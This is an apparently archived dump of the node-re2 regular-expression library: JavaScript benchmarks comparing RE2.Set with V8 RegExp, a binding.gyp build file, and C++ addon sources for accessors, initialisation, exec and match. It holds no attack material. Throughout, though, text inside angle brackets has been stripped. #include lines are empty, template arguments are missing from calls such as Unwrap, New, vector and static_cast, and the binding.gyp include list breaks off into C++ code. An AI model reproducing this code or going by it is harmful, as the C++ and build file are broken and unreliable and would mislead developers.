for (let k = 0; k < 8; ++k) s += alpha[(r() * 26) | 0]; return s; }; // RE2.Set has a hard compile ceiling at N≈13,500 for random-prefix // patterns (DFA memory limit, default 8 MB). Levels chosen below that. const N_LEVELS = [1000, 5000, 10000, 13000]; const MAX_N = N_LEVELS[N_LEVELS.length - 1]; const allTokens = []; for (let i = 0; i < MAX_N; ++i) allTokens.push(token(i)); // 200 short log-like inputs; ~30% contain a token drawn from the *full* // pool, so a higher-N set matches more inputs (the high-N entrant pays // for its bigger surface). const INPUT_COUNT = 200; const rngInputs = mulberry32(7); const inputs = []; for (let j = 0; j < INPUT_COUNT; ++j) { if (rngInputs() < 0.3) { const idx = (rngInputs() * MAX_N) | 0; inputs.push( `2026-05-12T22:31:04Z client=10.0.0.${j & 255} request token=${allTokens[idx]} action=allow 200 42ms` ); } else { inputs.push( `2026-05-12T22:31:04Z client=10.0.0.${j & 255} request token=zzzzzzzz action=allow 200 42ms` ); } } // Build one RE2.Set per N level, timed. const sets = {}; const compileTimes = {}; for (const n of N_LEVELS) { const t0 = process.hrtime.bigint(); sets[n] = new RE2.Set(allTokens.slice(0, n)); const dt = Number(process.hrtime.bigint() - t0) / 1e6; compileTimes[n] = dt; } // Reference: V8 RegExp loop at the smallest N (anything larger would be // painful — we already know from Shape 4 it's ~46× slower than RE2.Set // at N=2000). const tJs = process.hrtime.bigint(); const jsList = allTokens.slice(0, N_LEVELS[0]).map(p => new RegExp(p)); const dtJs = Number(process.hrtime.bigint() - tJs) / 1e6; console.error( `# Shape 5 setup: ${INPUT_COUNT} inputs\n` + N_LEVELS.map( n => `# compile RE2.Set@${n}: ${compileTimes[n].toFixed(1)}ms` ).join('\n') + `\n# compile RegExp@${N_LEVELS[0]} (loop, reference): ${dtJs.toFixed(1)}ms` ); const runSet = re2Set => n => { const out = []; for (let i = 0; i < n; ++i) { let total = 0; for (const input of inputs) { total += re2Set.match(input).length; } out.pop(); out.push(total); } return out; }; const cases = {}; for (const n of N_LEVELS) cases[`RE2.Set@${n}`] = runSet(sets[n]); cases[`RegExp@${N_LEVELS[0]}`] = n => { const out = []; for (let i = 0; i < n; ++i) { let total = 0; for (const input of inputs) { for (let k = 0; k < jsList.length; ++k) { if (jsList[k].test(input)) ++total; } } out.pop(); out.push(total); } return out; }; export default cases; uhop-node-re2-2d93a5d/bench/set-match.mjs000066400000000000000000000037231521435504200202000ustar00rootroot00000000000000import {RE2} from '../re2.js'; const PATTERN_COUNT = 200; const patterns = []; for (let i = 0; i < PATTERN_COUNT; ++i) { patterns.push('token' + i + '(?:[a-z]+)?'); } const INPUT_COUNT = 500; const inputs = []; for (let j = 0; j < INPUT_COUNT; ++j) { inputs.push( 'xx' + (j % PATTERN_COUNT) + ' ' + (j & 7) + ' token' + (j % PATTERN_COUNT) + ' tail' ); } const re2Set = new RE2.Set(patterns); const re2List = patterns.map(p => new RE2(p)); const jsList = patterns.map(p => new RegExp(p)); // V8's experimental linear-time engine — only available under // `node --enable-experimental-regexp-engine`; the 'l' flag throws otherwise. let linearList; try { linearList = patterns.map(p => new RegExp(p, 'l')); } catch {} const cases = { RegExp: n => { let count = 0; for (let i = 0; i < n; ++i) { for (const input of inputs) { const matches = []; for (const pattern of jsList) { if (pattern.test(input)) matches.push(pattern); } count += matches.length; } } return count; }, RE2: n => { let count = 0; for (let i = 0; i < n; ++i) { for (const input of inputs) { const matches = []; for (const pattern of re2List) { if (pattern.test(input)) matches.push(pattern); } count += matches.length; } } return count; }, 'RE2.Set': n => { let count = 0; for (let i = 0; i < n; ++i) { for (const input of inputs) { const matches = re2Set.match(input); count += matches.length; } } return count; } }; if (linearList) { cases.Linear = n => { let count = 0; for (let i = 0; i < n; ++i) { for (const input of inputs) { const matches = []; for (const pattern of linearList) { if (pattern.test(input)) matches.push(pattern); } count += matches.length; } } return count; }; } export default cases; uhop-node-re2-2d93a5d/bench/subarray-overhead.mjs000066400000000000000000000027321521435504200217350ustar00rootroot00000000000000// Isolate the Buffer.subarray() overhead that issue #216 cites as // "super expensive". Compares: // - test against the full buffer (baseline) // - test against a fresh subarray per call (the case the issue wants // to optimize) // - test against a pre-allocated subarray (the workaround available // today) // - subarray-only with no test (isolates the JS-side cost) // // Short buffer (64 bytes) — the regime where subarray's fixed cost is // most visible relative to the per-match work. import {RE2} from '../re2.js'; const re = new RE2('error', 'i'); const N = 64; const buf = Buffer.alloc(N); for (let i = 0; i < N; ++i) buf[i] = 65 + (i % 26); // Plant a match a third of the way in. buf.write('error', (N / 3) | 0); const subPrecomputed = buf.subarray(1, N - 1); export default { 'subarray() alone': n => { const out = []; for (let i = 0; i < n; ++i) { out.pop(); out.push(buf.subarray(1, N - 1)); } return out; }, 'test(full)': n => { const out = []; for (let i = 0; i < n; ++i) { out.pop(); out.push(re.test(buf)); } return out; }, 'test(precomputed subarray)': n => { const out = []; for (let i = 0; i < n; ++i) { out.pop(); out.push(re.test(subPrecomputed)); } return out; }, 'test(fresh subarray per call)': n => { const out = []; for (let i = 0; i < n; ++i) { out.pop(); out.push(re.test(buf.subarray(1, N - 1))); } return out; } }; uhop-node-re2-2d93a5d/binding.gyp000066400000000000000000000166321521435504200166570ustar00rootroot00000000000000{ "targets": [ { "target_name": "re2", "sources": [ "lib/addon.cc", "lib/accessors.cc", "lib/pattern.cc", "lib/util.cc", "lib/new.cc", "lib/exec.cc", "lib/test.cc", "lib/match.cc", "lib/replace.cc", "lib/search.cc", "lib/split.cc", "lib/to_string.cc", "lib/set.cc", "vendor/re2/re2/bitmap256.cc", "vendor/re2/re2/bitstate.cc", "vendor/re2/re2/compile.cc", "vendor/re2/re2/dfa.cc", "vendor/re2/re2/filtered_re2.cc", "vendor/re2/re2/mimics_pcre.cc", "vendor/re2/re2/nfa.cc", "vendor/re2/re2/onepass.cc", "vendor/re2/re2/parse.cc", "vendor/re2/re2/perl_groups.cc", "vendor/re2/re2/prefilter.cc", "vendor/re2/re2/prefilter_tree.cc", "vendor/re2/re2/prog.cc", "vendor/re2/re2/re2.cc", "vendor/re2/re2/regexp.cc", "vendor/re2/re2/set.cc", "vendor/re2/re2/simplify.cc", "vendor/re2/re2/tostring.cc", "vendor/re2/re2/unicode_casefold.cc", "vendor/re2/re2/unicode_groups.cc", "vendor/re2/util/pcre.cc", "vendor/re2/util/rune.cc", "vendor/re2/util/strutil.cc", "vendor/abseil-cpp/absl/base/internal/cycleclock.cc", "vendor/abseil-cpp/absl/base/internal/low_level_alloc.cc", "vendor/abseil-cpp/absl/base/internal/raw_logging.cc", "vendor/abseil-cpp/absl/base/internal/spinlock.cc", "vendor/abseil-cpp/absl/base/internal/spinlock_wait.cc", "vendor/abseil-cpp/absl/base/internal/strerror.cc", "vendor/abseil-cpp/absl/base/internal/sysinfo.cc", "vendor/abseil-cpp/absl/base/internal/thread_identity.cc", "vendor/abseil-cpp/absl/base/throw_delegate.cc", "vendor/abseil-cpp/absl/base/internal/unscaledcycleclock.cc", "vendor/abseil-cpp/absl/container/internal/hashtablez_sampler.cc", "vendor/abseil-cpp/absl/container/internal/hashtablez_sampler_force_weak_definition.cc", "vendor/abseil-cpp/absl/container/internal/raw_hash_set.cc", "vendor/abseil-cpp/absl/debugging/internal/decode_rust_punycode.cc", "vendor/abseil-cpp/absl/debugging/internal/demangle.cc", "vendor/abseil-cpp/absl/debugging/internal/demangle_rust.cc", "vendor/abseil-cpp/absl/debugging/internal/address_is_readable.cc", "vendor/abseil-cpp/absl/debugging/internal/elf_mem_image.cc", "vendor/abseil-cpp/absl/debugging/internal/examine_stack.cc", "vendor/abseil-cpp/absl/debugging/internal/utf8_for_code_point.cc", "vendor/abseil-cpp/absl/debugging/internal/vdso_support.cc", "vendor/abseil-cpp/absl/debugging/stacktrace.cc", "vendor/abseil-cpp/absl/debugging/symbolize.cc", "vendor/abseil-cpp/absl/flags/commandlineflag.cc", "vendor/abseil-cpp/absl/flags/internal/commandlineflag.cc", "vendor/abseil-cpp/absl/flags/internal/flag.cc", "vendor/abseil-cpp/absl/flags/internal/private_handle_accessor.cc", "vendor/abseil-cpp/absl/flags/internal/program_name.cc", "vendor/abseil-cpp/absl/flags/marshalling.cc", "vendor/abseil-cpp/absl/flags/reflection.cc", "vendor/abseil-cpp/absl/flags/usage_config.cc", "vendor/abseil-cpp/absl/hash/internal/city.cc", "vendor/abseil-cpp/absl/hash/internal/hash.cc", "vendor/abseil-cpp/absl/log/internal/globals.cc", "vendor/abseil-cpp/absl/log/internal/log_format.cc", "vendor/abseil-cpp/absl/log/internal/log_message.cc", "vendor/abseil-cpp/absl/log/internal/log_sink_set.cc", "vendor/abseil-cpp/absl/log/internal/nullguard.cc", "vendor/abseil-cpp/absl/log/internal/proto.cc", "vendor/abseil-cpp/absl/log/internal/structured_proto.cc", "vendor/abseil-cpp/absl/log/globals.cc", "vendor/abseil-cpp/absl/log/log_sink.cc", "vendor/abseil-cpp/absl/numeric/int128.cc", "vendor/abseil-cpp/absl/strings/ascii.cc", "vendor/abseil-cpp/absl/strings/charconv.cc", "vendor/abseil-cpp/absl/strings/internal/charconv_bigint.cc", "vendor/abseil-cpp/absl/strings/internal/charconv_parse.cc", "vendor/abseil-cpp/absl/strings/internal/memutil.cc", "vendor/abseil-cpp/absl/strings/internal/str_format/arg.cc", "vendor/abseil-cpp/absl/strings/internal/str_format/bind.cc", "vendor/abseil-cpp/absl/strings/internal/str_format/extension.cc", "vendor/abseil-cpp/absl/strings/internal/str_format/float_conversion.cc", "vendor/abseil-cpp/absl/strings/internal/str_format/output.cc", "vendor/abseil-cpp/absl/strings/internal/str_format/parser.cc", "vendor/abseil-cpp/absl/strings/internal/utf8.cc", "vendor/abseil-cpp/absl/strings/match.cc", "vendor/abseil-cpp/absl/strings/numbers.cc", "vendor/abseil-cpp/absl/strings/str_cat.cc", "vendor/abseil-cpp/absl/strings/str_split.cc", "vendor/abseil-cpp/absl/synchronization/internal/create_thread_identity.cc", "vendor/abseil-cpp/absl/synchronization/internal/graphcycles.cc", "vendor/abseil-cpp/absl/synchronization/internal/futex_waiter.cc", "vendor/abseil-cpp/absl/synchronization/internal/kernel_timeout.cc", "vendor/abseil-cpp/absl/synchronization/internal/per_thread_sem.cc", "vendor/abseil-cpp/absl/synchronization/internal/waiter_base.cc", "vendor/abseil-cpp/absl/synchronization/mutex.cc", "vendor/abseil-cpp/absl/time/clock.cc", "vendor/abseil-cpp/absl/time/duration.cc", "vendor/abseil-cpp/absl/time/internal/cctz/src/time_zone_fixed.cc", "vendor/abseil-cpp/absl/time/internal/cctz/src/time_zone_if.cc", "vendor/abseil-cpp/absl/time/internal/cctz/src/time_zone_impl.cc", "vendor/abseil-cpp/absl/time/internal/cctz/src/time_zone_info.cc", "vendor/abseil-cpp/absl/time/internal/cctz/src/time_zone_libc.cc", "vendor/abseil-cpp/absl/time/internal/cctz/src/time_zone_lookup.cc", "vendor/abseil-cpp/absl/time/internal/cctz/src/time_zone_posix.cc", "vendor/abseil-cpp/absl/time/internal/cctz/src/zone_info_source.cc", "vendor/abseil-cpp/absl/time/time.cc", ], "cflags": [ "-std=c++2a", "-Wall", "-Wextra", "-Wno-sign-compare", "-Wno-unused-parameter", "-Wno-missing-field-initializers", "-Wno-cast-function-type", "-O3", "-g" ], "defines": [ "NDEBUG", "NOMINMAX" ], "include_dirs": [ " #include #include NAN_GETTER(WrappedRE2::GetSource) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().Set(Nan::New("(?:)").ToLocalChecked()); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); info.GetReturnValue().Set(Nan::New(re2->source).ToLocalChecked()); } NAN_GETTER(WrappedRE2::GetInternalSource) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().Set(Nan::New("(?:)").ToLocalChecked()); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); info.GetReturnValue().Set(Nan::New(re2->regexp.pattern()).ToLocalChecked()); } NAN_GETTER(WrappedRE2::GetFlags) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().Set(Nan::New("").ToLocalChecked()); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); std::string flags; if (re2->hasIndices) { flags += "d"; } if (re2->global) { flags += "g"; } if (re2->ignoreCase) { flags += "i"; } if (re2->multiline) { flags += "m"; } if (re2->dotAll) { flags += "s"; } flags += "u"; if (re2->sticky) { flags += "y"; } info.GetReturnValue().Set(Nan::New(flags).ToLocalChecked()); } NAN_GETTER(WrappedRE2::GetGlobal) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().SetUndefined(); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); info.GetReturnValue().Set(re2->global); } NAN_GETTER(WrappedRE2::GetIgnoreCase) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().SetUndefined(); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); info.GetReturnValue().Set(re2->ignoreCase); } NAN_GETTER(WrappedRE2::GetMultiline) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().SetUndefined(); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); info.GetReturnValue().Set(re2->multiline); } NAN_GETTER(WrappedRE2::GetDotAll) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().SetUndefined(); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); info.GetReturnValue().Set(re2->dotAll); } NAN_GETTER(WrappedRE2::GetUnicode) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().SetUndefined(); return; } info.GetReturnValue().Set(true); } NAN_GETTER(WrappedRE2::GetSticky) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().SetUndefined(); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); info.GetReturnValue().Set(re2->sticky); } NAN_GETTER(WrappedRE2::GetHasIndices) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().SetUndefined(); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); info.GetReturnValue().Set(re2->hasIndices); } NAN_GETTER(WrappedRE2::GetLastIndex) { if (!WrappedRE2::HasInstance(info.This())) { info.GetReturnValue().SetUndefined(); return; } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); info.GetReturnValue().Set(static_cast(re2->lastIndex)); } NAN_SETTER(WrappedRE2::SetLastIndex) { if (!WrappedRE2::HasInstance(info.This())) { return Nan::ThrowTypeError("Cannot set lastIndex of an invalid RE2 object."); } auto re2 = Nan::ObjectWrap::Unwrap(info.This()); if (value->IsNumber()) { int n = value->NumberValue(Nan::GetCurrentContext()).FromMaybe(0); re2->lastIndex = n <= 0 ? 0 : n; } } std::atomic WrappedRE2::unicodeWarningLevel{WrappedRE2::NOTHING}; NAN_GETTER(WrappedRE2::GetUnicodeWarningLevel) { std::string level; switch (unicodeWarningLevel) { case THROW: level = "throw"; break; case WARN: level = "warn"; break; case WARN_ONCE: level = "warnOnce"; break; default: level = "nothing"; break; } info.GetReturnValue().Set(Nan::New(level).ToLocalChecked()); } NAN_SETTER(WrappedRE2::SetUnicodeWarningLevel) { if (value->IsString()) { Nan::Utf8String s(value); if (!strcmp(*s, "throw")) { unicodeWarningLevel = THROW; return; } if (!strcmp(*s, "warn")) { unicodeWarningLevel = WARN; return; } if (!strcmp(*s, "warnOnce")) { unicodeWarningLevel = WARN_ONCE; alreadyWarnedAboutUnicode = false; return; } if (!strcmp(*s, "nothing")) { unicodeWarningLevel = NOTHING; return; } } } uhop-node-re2-2d93a5d/lib/addon.cc000066400000000000000000000156641521435504200166720ustar00rootroot00000000000000#include "./wrapped_re2.h" #include "./wrapped_re2_set.h" #include "./isolate_data.h" #include #include static std::mutex addonDataMutex; static std::unordered_map addonDataMap; AddonData *getAddonData(v8::Isolate *isolate) { std::lock_guard lock(addonDataMutex); auto it = addonDataMap.find(isolate); return it != addonDataMap.end() ? it->second : nullptr; } void setAddonData(v8::Isolate *isolate, AddonData *data) { std::lock_guard lock(addonDataMutex); addonDataMap[isolate] = data; } void deleteAddonData(v8::Isolate *isolate) { std::lock_guard lock(addonDataMutex); auto it = addonDataMap.find(isolate); if (it != addonDataMap.end()) { delete it->second; addonDataMap.erase(it); } } static NAN_METHOD(GetUtf8Length) { auto t = info[0]->ToString(Nan::GetCurrentContext()); if (t.IsEmpty()) { return; } auto s = t.ToLocalChecked(); info.GetReturnValue().Set(static_cast(utf8Length(s, v8::Isolate::GetCurrent()))); } static NAN_METHOD(GetUtf16Length) { if (node::Buffer::HasInstance(info[0])) { const auto *s = node::Buffer::Data(info[0]); info.GetReturnValue().Set(static_cast(getUtf16Length(s, s + node::Buffer::Length(info[0])))); return; } info.GetReturnValue().Set(-1); } static void cleanup(void *p) { v8::Isolate *isolate = static_cast(p); deleteAddonData(isolate); } // NAN_MODULE_INIT(WrappedRE2::Init) v8::Local WrappedRE2::Init() { Nan::EscapableHandleScope scope; // prepare constructor template auto tpl = Nan::New(New); tpl->SetClassName(Nan::New("RE2").ToLocalChecked()); auto instanceTemplate = tpl->InstanceTemplate(); instanceTemplate->SetInternalFieldCount(1); // save the template in per-isolate storage auto isolate = v8::Isolate::GetCurrent(); auto data = new AddonData(); data->re2Tpl.Reset(tpl); setAddonData(isolate, data); node::AddEnvironmentCleanupHook(isolate, cleanup, isolate); // prototype Nan::SetPrototypeMethod(tpl, "toString", ToString); Nan::SetPrototypeMethod(tpl, "exec", Exec); Nan::SetPrototypeMethod(tpl, "test", Test); Nan::SetPrototypeMethod(tpl, "match", Match); Nan::SetPrototypeMethod(tpl, "replace", Replace); Nan::SetPrototypeMethod(tpl, "search", Search); Nan::SetPrototypeMethod(tpl, "split", Split); Nan::SetPrototypeTemplate(tpl, "source", Nan::New("(?:)").ToLocalChecked()); Nan::SetPrototypeTemplate(tpl, "flags", Nan::New("").ToLocalChecked()); Nan::SetAccessor(instanceTemplate, Nan::New("source").ToLocalChecked(), GetSource); Nan::SetAccessor(instanceTemplate, Nan::New("flags").ToLocalChecked(), GetFlags); Nan::SetAccessor(instanceTemplate, Nan::New("global").ToLocalChecked(), GetGlobal); Nan::SetAccessor(instanceTemplate, Nan::New("ignoreCase").ToLocalChecked(), GetIgnoreCase); Nan::SetAccessor(instanceTemplate, Nan::New("multiline").ToLocalChecked(), GetMultiline); Nan::SetAccessor(instanceTemplate, Nan::New("dotAll").ToLocalChecked(), GetDotAll); Nan::SetAccessor(instanceTemplate, Nan::New("unicode").ToLocalChecked(), GetUnicode); Nan::SetAccessor(instanceTemplate, Nan::New("sticky").ToLocalChecked(), GetSticky); Nan::SetAccessor(instanceTemplate, Nan::New("hasIndices").ToLocalChecked(), GetHasIndices); Nan::SetAccessor(instanceTemplate, Nan::New("lastIndex").ToLocalChecked(), GetLastIndex, SetLastIndex); Nan::SetAccessor(instanceTemplate, Nan::New("internalSource").ToLocalChecked(), GetInternalSource); auto ctr = Nan::GetFunction(tpl).ToLocalChecked(); auto setCtr = WrappedRE2Set::Init(); Nan::Set(ctr, Nan::New("Set").ToLocalChecked(), setCtr); // properties Nan::Export(ctr, "getUtf8Length", GetUtf8Length); Nan::Export(ctr, "getUtf16Length", GetUtf16Length); Nan::SetAccessor(v8::Local(ctr), Nan::New("unicodeWarningLevel").ToLocalChecked(), GetUnicodeWarningLevel, SetUnicodeWarningLevel); return scope.Escape(ctr); } NODE_MODULE_INIT() { Nan::HandleScope scope; Nan::Set(module->ToObject(context).ToLocalChecked(), Nan::New("exports").ToLocalChecked(), WrappedRE2::Init()); } WrappedRE2::~WrappedRE2() { dropCache(); } // private methods void WrappedRE2::dropCache() { if (!lastString.IsEmpty()) { // lastString.ClearWeak(); lastString.Reset(); } if (!lastCache.IsEmpty()) { // lastCache.ClearWeak(); lastCache.Reset(); } lastStringValue.clear(); } const StrVal &WrappedRE2::prepareArgument(const v8::Local &arg, bool ignoreLastIndex) { size_t startFrom = ignoreLastIndex ? 0 : lastIndex; if (!lastString.IsEmpty()) { lastString.ClearWeak(); } if (!lastCache.IsEmpty()) { lastCache.ClearWeak(); } if (lastString == arg && !node::Buffer::HasInstance(arg) && !lastCache.IsEmpty()) { // we have a properly cached string lastStringValue.setIndex(startFrom); return lastStringValue; } dropCache(); if (node::Buffer::HasInstance(arg)) { // no need to cache buffers lastString.Reset(arg); auto argSize = node::Buffer::Length(arg); lastStringValue.reset(arg, argSize, argSize, startFrom, true); return lastStringValue; } // caching the string auto t = arg->ToString(Nan::GetCurrentContext()); if (t.IsEmpty()) { // do not process bad strings lastStringValue.isBad = true; return lastStringValue; } lastString.Reset(arg); auto isolate = v8::Isolate::GetCurrent(); auto s = t.ToLocalChecked(); auto argLength = utf8Length(s, isolate); // Pure ASCII iff the UTF-16 length (s->Length(), O(1)) equals the UTF-8 // byte length: any non-ASCII char makes the byte count strictly larger. bool isAscii = static_cast(s->Length()) == argLength; auto buffer = node::Buffer::New(isolate, s).ToLocalChecked(); lastCache.Reset(buffer); auto argSize = node::Buffer::Length(buffer); lastStringValue.reset(buffer, argSize, argLength, startFrom, false, isAscii); return lastStringValue; }; void WrappedRE2::doneWithLastString() { if (!lastString.IsEmpty()) { static_cast &>(lastString).SetWeak(); } if (!lastCache.IsEmpty()) { static_cast &>(lastCache).SetWeak(); } } // StrVal void StrVal::setIndex(size_t newIndex) { isValidIndex = newIndex <= length; if (!isValidIndex) { index = newIndex; byteIndex = 0; return; } if (newIndex == index) return; if (isBuffer || isAscii) { byteIndex = index = newIndex; return; } // String if (!newIndex) { byteIndex = index = 0; return; } if (newIndex == length) { byteIndex = size; index = length; return; } byteIndex = index < newIndex ? getUtf16PositionByCounter(data, byteIndex, newIndex - index) : getUtf16PositionByCounter(data, 0, newIndex); index = newIndex; } static char null_buffer[] = {'\0'}; void StrVal::reset(const v8::Local &arg, size_t argSize, size_t argLength, size_t newIndex, bool buffer, bool ascii) { clear(); isBuffer = buffer; isAscii = ascii; size = argSize; length = argLength; data = size ? node::Buffer::Data(arg) : null_buffer; setIndex(newIndex); } uhop-node-re2-2d93a5d/lib/exec.cc000066400000000000000000000105411521435504200165160ustar00rootroot00000000000000#include "./wrapped_re2.h" #include NAN_METHOD(WrappedRE2::Exec) { // unpack arguments auto re2 = Nan::ObjectWrap::Unwrap(info.This()); if (!re2) { info.GetReturnValue().SetNull(); return; } PrepareLastString prep(re2, info[0]); StrVal& str = prep; if (str.isBad) return; // throws an exception if (re2->global || re2->sticky) { if (!str.isValidIndex) { re2->lastIndex = 0; info.GetReturnValue().SetNull(); return; } } // actual work std::vector groups(re2->regexp.NumberOfCapturingGroups() + 1); if (!re2->regexp.Match(str, str.byteIndex, str.size, re2->sticky ? re2::RE2::ANCHOR_START : re2::RE2::UNANCHORED, &groups[0], groups.size())) { if (re2->global || re2->sticky) { re2->lastIndex = 0; } info.GetReturnValue().SetNull(); return; } // form a result auto result = Nan::New(), indices = Nan::New(); int indexOffset = re2->global || re2->sticky ? re2->lastIndex : 0; if (str.isBuffer) { for (size_t i = 0, n = groups.size(); i < n; ++i) { const auto &item = groups[i]; const auto data = item.data(); if (data) { Nan::Set(result, i, Nan::CopyBuffer(data, item.size()).ToLocalChecked()); if (re2->hasIndices) { auto pair = Nan::New(); auto offset = data - str.data - str.byteIndex; auto length = item.size(); Nan::Set(pair, 0, Nan::New(indexOffset + static_cast(offset))); Nan::Set(pair, 1, Nan::New(indexOffset + static_cast(offset + length))); Nan::Set(indices, i, pair); } } else { Nan::Set(result, i, Nan::Undefined()); if (re2->hasIndices) { Nan::Set(indices, i, Nan::Undefined()); } } } Nan::Set(result, Nan::New("index").ToLocalChecked(), Nan::New(indexOffset + static_cast(groups[0].data() - str.data - str.byteIndex))); } else { for (size_t i = 0, n = groups.size(); i < n; ++i) { const auto &item = groups[i]; const auto data = item.data(); if (data) { Nan::Set(result, i, Nan::New(data, item.size()).ToLocalChecked()); if (re2->hasIndices) { auto pair = Nan::New(); auto offset = toUtf16Index(str.isAscii, str.data + str.byteIndex, data); auto length = toUtf16Index(str.isAscii, data, data + item.size()); Nan::Set(pair, 0, Nan::New(indexOffset + static_cast(offset))); Nan::Set(pair, 1, Nan::New(indexOffset + static_cast(offset + length))); Nan::Set(indices, i, pair); } } else { Nan::Set(result, i, Nan::Undefined()); if (re2->hasIndices) { Nan::Set(indices, i, Nan::Undefined()); } } } Nan::Set( result, Nan::New("index").ToLocalChecked(), Nan::New(indexOffset + static_cast(toUtf16Index(str.isAscii, str.data + str.byteIndex, groups[0].data())))); } if (re2->global || re2->sticky) { re2->lastIndex += str.isBuffer ? groups[0].data() - str.data + groups[0].size() - str.byteIndex : toUtf16Index(str.isAscii, str.data + str.byteIndex, groups[0].data() + groups[0].size()); } Nan::Set(result, Nan::New("input").ToLocalChecked(), info[0]); const auto &groupNames = re2->regexp.CapturingGroupNames(); if (!groupNames.empty()) { auto groups = Nan::New(); Nan::SetPrototype(groups, Nan::Null()); for (auto group : groupNames) { auto value = Nan::Get(result, group.first); if (!value.IsEmpty()) { Nan::Set(groups, Nan::New(group.second).ToLocalChecked(), value.ToLocalChecked()); } } Nan::Set(result, Nan::New("groups").ToLocalChecked(), groups); if (re2->hasIndices) { auto indexGroups = Nan::New(); Nan::SetPrototype(indexGroups, Nan::Null()); for (auto group : groupNames) { auto value = Nan::Get(indices, group.first); if (!value.IsEmpty()) { Nan::Set(indexGroups, Nan::New(group.second).ToLocalChecked(), value.ToLocalChecked()); } } Nan::Set(indices, Nan::New("groups").ToLocalChecked(), indexGroups); } } else { Nan::Set(result, Nan::New("groups").ToLocalChecked(), Nan::Undefined()); if (re2->hasIndices) { Nan::Set(indices, Nan::New("groups").ToLocalChecked(), Nan::Undefined()); } } if (re2->hasIndices) { Nan::Set(result, Nan::New("indices").ToLocalChecked(), indices); } info.GetReturnValue().Set(result); } uhop-node-re2-2d93a5d/lib/isolate_data.h000066400000000000000000000004551521435504200200700ustar00rootroot00000000000000#pragma once #include struct AddonData { Nan::Persistent re2Tpl; Nan::Persistent re2SetTpl; }; AddonData *getAddonData(v8::Isolate *isolate); void setAddonData(v8::Isolate *isolate, AddonData *data); void deleteAddonData(v8::Isolate *isolate); uhop-node-re2-2d93a5d/lib/match.cc000066400000000000000000000116021521435504200166650ustar00rootroot00000000000000#include "./wrapped_re2.h" #include NAN_METHOD(WrappedRE2::Match) { // unpack arguments auto re2 = Nan::ObjectWrap::Unwrap(info.This()); if (!re2) { info.GetReturnValue().SetNull(); return; } PrepareLastString prep(re2, info[0]); StrVal& str = prep; if (str.isBad) return; // throws an exception if (!str.isValidIndex) { re2->lastIndex = 0; info.GetReturnValue().SetNull(); return; } std::vector groups; size_t byteIndex = 0; auto anchor = re2::RE2::UNANCHORED; // actual work if (re2->global) { // global: collect all matches re2::StringPiece match; if (re2->sticky) { anchor = re2::RE2::ANCHOR_START; } while (re2->regexp.Match(str, byteIndex, str.size, anchor, &match, 1)) { groups.push_back(match); byteIndex = match.data() - str.data + match.size(); } if (groups.empty()) { info.GetReturnValue().SetNull(); return; } } else { // non-global: just like exec() if (re2->sticky) { byteIndex = str.byteIndex; anchor = RE2::ANCHOR_START; } groups.resize(re2->regexp.NumberOfCapturingGroups() + 1); if (!re2->regexp.Match(str, byteIndex, str.size, anchor, &groups[0], groups.size())) { if (re2->sticky) re2->lastIndex = 0; info.GetReturnValue().SetNull(); return; } } // form a result auto result = Nan::New(), indices = Nan::New(); if (str.isBuffer) { for (size_t i = 0, n = groups.size(); i < n; ++i) { const auto &item = groups[i]; const auto data = item.data(); if (data) { Nan::Set(result, i, Nan::CopyBuffer(data, item.size()).ToLocalChecked()); if (!re2->global && re2->hasIndices) { auto pair = Nan::New(); auto offset = data - str.data - byteIndex; auto length = item.size(); Nan::Set(pair, 0, Nan::New(static_cast(offset))); Nan::Set(pair, 1, Nan::New(static_cast(offset + length))); Nan::Set(indices, i, pair); } } else { Nan::Set(result, i, Nan::Undefined()); if (!re2->global && re2->hasIndices) Nan::Set(indices, i, Nan::Undefined()); } } if (!re2->global) { Nan::Set(result, Nan::New("index").ToLocalChecked(), Nan::New(static_cast(groups[0].data() - str.data))); Nan::Set(result, Nan::New("input").ToLocalChecked(), info[0]); } } else { for (size_t i = 0, n = groups.size(); i < n; ++i) { const auto &item = groups[i]; const auto data = item.data(); if (data) { Nan::Set(result, i, Nan::New(data, item.size()).ToLocalChecked()); if (!re2->global && re2->hasIndices) { auto pair = Nan::New(); auto offset = toUtf16Index(str.isAscii, str.data + byteIndex, data); auto length = toUtf16Index(str.isAscii, data, data + item.size()); Nan::Set(pair, 0, Nan::New(static_cast(offset))); Nan::Set(pair, 1, Nan::New(static_cast(offset + length))); Nan::Set(indices, i, pair); } } else { Nan::Set(result, i, Nan::Undefined()); if (!re2->global && re2->hasIndices) { Nan::Set(indices, i, Nan::Undefined()); } } } if (!re2->global) { Nan::Set(result, Nan::New("index").ToLocalChecked(), Nan::New(static_cast(toUtf16Index(str.isAscii, str.data, groups[0].data())))); Nan::Set(result, Nan::New("input").ToLocalChecked(), info[0]); } } if (re2->global) { re2->lastIndex = 0; } else if (re2->sticky) { re2->lastIndex += str.isBuffer ? groups[0].data() - str.data + groups[0].size() - byteIndex : toUtf16Index(str.isAscii, str.data + byteIndex, groups[0].data() + groups[0].size()); } if (!re2->global) { const auto &groupNames = re2->regexp.CapturingGroupNames(); if (!groupNames.empty()) { auto groups = Nan::New(); Nan::SetPrototype(groups, Nan::Null()); for (auto group : groupNames) { auto value = Nan::Get(result, group.first); if (!value.IsEmpty()) { Nan::Set(groups, Nan::New(group.second).ToLocalChecked(), value.ToLocalChecked()); } } Nan::Set(result, Nan::New("groups").ToLocalChecked(), groups); if (re2->hasIndices) { auto indexGroups = Nan::New(); Nan::SetPrototype(indexGroups, 